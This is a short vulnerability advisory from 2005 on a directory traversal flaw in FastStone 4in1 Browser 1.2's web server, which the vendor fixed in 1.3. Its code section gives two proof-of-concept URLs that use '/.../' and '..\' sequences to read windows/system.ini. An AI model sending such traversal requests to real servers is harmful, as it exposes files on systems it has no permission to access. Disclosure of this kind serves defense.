directory traversal in FastStone 4in1 Browser 1.2

["Donato Ferrante" <fdonato () autistici org>]

                           Donato Ferrante


Application:  FastStone 4in1 Browser
              http://www.faststone.org

Version:      1.2

Bug:          directory traversal

Date:         29-Mar-2005

Author:       Donato Ferrante
              e-mail: fdonato () autistici org
              web:    www.autistici.org/fdonato



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1. Description
2. The bug
3. The code
4. The fix



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1. Description:
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Vendor's Description:

"A FREE multi-window Web Browser with a built-in Web Server."



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2. The bug:
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The program by default has some checks to avoid malicious patterns
like "/../" into http requests, but it doesn't manage patterns like:
"\..\", "../" or "/.../".

So an attacker is able to see and download all the files on the remote
system simply using a browser.



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3. The code:
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To test the vulnerability:

http://[host]/.../.../.../.../.../.../windows/system.ini

or:

http://[host]/..\..\..\..\..\..\..\..\windows/system.ini




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4. The fix:
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Vendor was contacted.
Bug fixed in the version 1.3.



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